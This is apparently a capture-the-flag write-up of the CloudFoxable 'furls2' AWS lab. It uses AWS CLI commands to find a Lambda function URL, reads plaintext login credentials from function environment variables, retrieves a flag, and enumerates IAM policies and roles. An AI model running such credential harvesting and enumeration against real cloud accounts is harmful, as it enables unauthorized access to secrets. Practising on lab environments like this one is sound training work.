This Lambda Function URL doesn’t just give you the key like furls1. You have to work a little harder for this one. CloudFox can definitely help you here.

Information Gathering

This time around, I don’t know which lambda function to target, since there’s no “furls2” function. Instead, I will list all the function URLs in the AWS account. (minus the one I’ve already exploited)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
adicpnn@laboratory cloud % aws lambda list-function-url-configs --function-name auth-me --profile cloudfoxable
{
    "FunctionUrlConfigs": [
        {
            "FunctionUrl": "https://7xgive72nggapgp5tkapsgugjq0gtcuy.lambda-url.eu-central-1.on.aws/",
            "FunctionArn": "arn:aws:lambda:eu-central-1:129323993607:function:auth-me",
            "CreationTime": "2026-03-11T15:44:19.431282800Z",
            "LastModifiedTime": "2026-03-11T15:44:19.431282800Z",
            "AuthType": "NONE",
            "InvokeMode": "BUFFERED"
        }
    ]
}

Looks like the “auth-me” is my target. I’ll try and visit this URL now.

1
2
adicpnn@laboratory cloud % curl https://7xgive72nggapgp5tkapsgugjq0gtcuy.lambda-url.eu-central-1.on.aws/
To authenticate, send a GET request with the following parameters: username=[username]&password=[password].<br><br>You should check out the furls2 challenge for more information.%

Seems I will need more information this time around. I’ll try some more aws commands to enumerate this function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
adicpnn@laboratory cloud % aws lambda get-function --function-name auth-me --profile cloudfoxable
aws: [ERROR]: An error occurred (AccessDeniedException) when calling the GetFunction operation: User: arn:aws:iam::129323993607:user/ctf-starting-user is not authorized to perform: lambda:GetFunction on resource: arn:aws:lambda:eu-central-1:129323993607:function:auth-me because no identity-based policy allows the lambda:GetFunction action

adicpnn@laboratory cloud % aws lambda list-functions --profile cloudfoxable
...
        {
            "FunctionName": "auth-me",
            "FunctionArn": "arn:aws:lambda:eu-central-1:129323993607:function:auth-me",
            "Runtime": "nodejs18.x",
            "Role": "arn:aws:iam::129323993607:role/sauerbrunn",
            "Handler": "index.handler",
            "CodeSize": 1200,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2026-03-11T15:44:07.496+0000",
            "CodeSha256": "wDRiJlLRD3jaTUoM+63AZ+lX2qxs4Bm5SZzS0+Evb0E=",
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "lambda_http_user": "admin",
                    "lambda_http_password": "NotSummer2023"
                }
            },
...

I wasn’t allowed to perform GetFunction, but in the end doing a ListFunctions was all i ever needed!

Execution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
adicpnn@laboratory cloud % curl "https://7xgive72nggapgp5tkapsgugjq0gtcuy.lambda-url.eu-central-1.on.aws/?username=admin&password=NotSummer2023"

        <!DOCTYPE html>
        <html>
        <head>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    line-height: 1.6;
                }
                h1 {
                    color: red;
                }
                p {
                    margin-bottom: 10px;
                }
            </style>
        </head>
        <body>
            <h1>FLAG{furls2::WhoCanExploitTheThingYouFound:PLACEHOLDER}</h1>
            <p><strong>Pay attention because this is important.</strong></p>
            <p>You found this flag because you discovered some credentials in an environment variable and realized that they could be used with this function. Great job!</p>
            <p>Now, what should you do next? While it's true that storing secrets in environment variables is considered bad practice, it's even more crucial for a penetration tester like you to determine WHO can access this secret.</p>
            <p>For instance, if only Administrators and you (the penetration tester who requested SecurityAudit access) have access to this environment variable, the risk is minimal.</p>
            <p>However, if you can find a principal who shouldn't have access to this secret but can still access it, then your discovery becomes significant.</p>
            <p>As your final challenge, use the 'permissions' command to find the <b>role</b> that can access this flag (not ctf-starting-user - i know you can see it!) </p>
            <p> Once you find the role, replace 'PLACEHOLDER' in the flag with the name of the role (just the name, not the entire ARN)</p>
        </body>
        </html>

So the challenge isn’t over yet. At this point I’ve become familiar with scanning roles and policies so this shouldn’t be an issue.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
adicpnn@laboratory cloud % aws iam list-policies --only-attached --profile cloudfoxable
...
        {
            "PolicyName": "furls1",
            "PolicyId": "ANPAR4HCPRIDWLMFTZTZU",
            "Arn": "arn:aws:iam::129323993607:policy/furls1",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2026-03-11T15:43:56+00:00",
            "UpdateDate": "2026-03-11T15:43:56+00:00"
        },
        {
            "PolicyName": "furls2",
            "PolicyId": "ANPAR4HCPRIDQ4UGTNDAV",
            "Arn": "arn:aws:iam::129323993607:policy/furls2",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2026-03-11T15:43:56+00:00",
            "UpdateDate": "2026-03-11T15:43:56+00:00"
        },
        {
            "PolicyName": "important-policy",
            "PolicyId": "ANPAR4HCPRIDS47NLRBGJ",
            "Arn": "arn:aws:iam::129323993607:policy/important-policy",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2026-03-11T15:44:04+00:00",
            "UpdateDate": "2026-03-11T15:44:04+00:00"
        },
        {
            "PolicyName": "lambda-viewer",
            "PolicyId": "ANPAR4HCPRIDS5VI7QN5C",
            "Arn": "arn:aws:iam::129323993607:policy/lambda-viewer",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2026-03-11T15:44:56+00:00",
            "UpdateDate": "2026-03-11T15:44:56+00:00"
        },
        {
            "PolicyName": "mewis",
            "PolicyId": "ANPAR4HCPRIDYKBDO2M23",
            "Arn": "arn:aws:iam::129323993607:policy/mewis",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2026-03-11T15:43:57+00:00",
            "UpdateDate": "2026-03-11T15:43:57+00:00"
        },
...

There’s plenty of policies here, even one named “furls2”. Unfortunately, upon inspection, this is not the one we’re looking for.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/furls2 --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "logs:CreateLogGroup",
                        "logs:CreateLogStream",
                        "logs:PutLogEvents"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-11T15:43:56+00:00"
    }
}

Instead, after a bit of trial and error, I found the “mewis” policy, which allows the lambda:ListFunctions action.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/mewis --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "lambda:ListFunctions"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-11T15:43:57+00:00"
    }
}

Now the question wasn’t which policy permits this kind of action, but finding the role it’s attached to. I’ve documented in the “Backwards” challenge write-up how I go about listing all policies attached to roles in my AWS account.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
adicpnn@laboratory cloud % while IFS= read -r line; do echo "$line"; aws iam list-attached-role-policies --role-name $line --profile cloudfoxable; done < roles
...
mewis
{
    "AttachedPolicies": [
        {
            "PolicyName": "mewis",
            "PolicyArn": "arn:aws:iam::129323993607:policy/mewis"
        }
    ]
}
...

Lo and behold, the role I was looking for had the same name as the policy attached to it!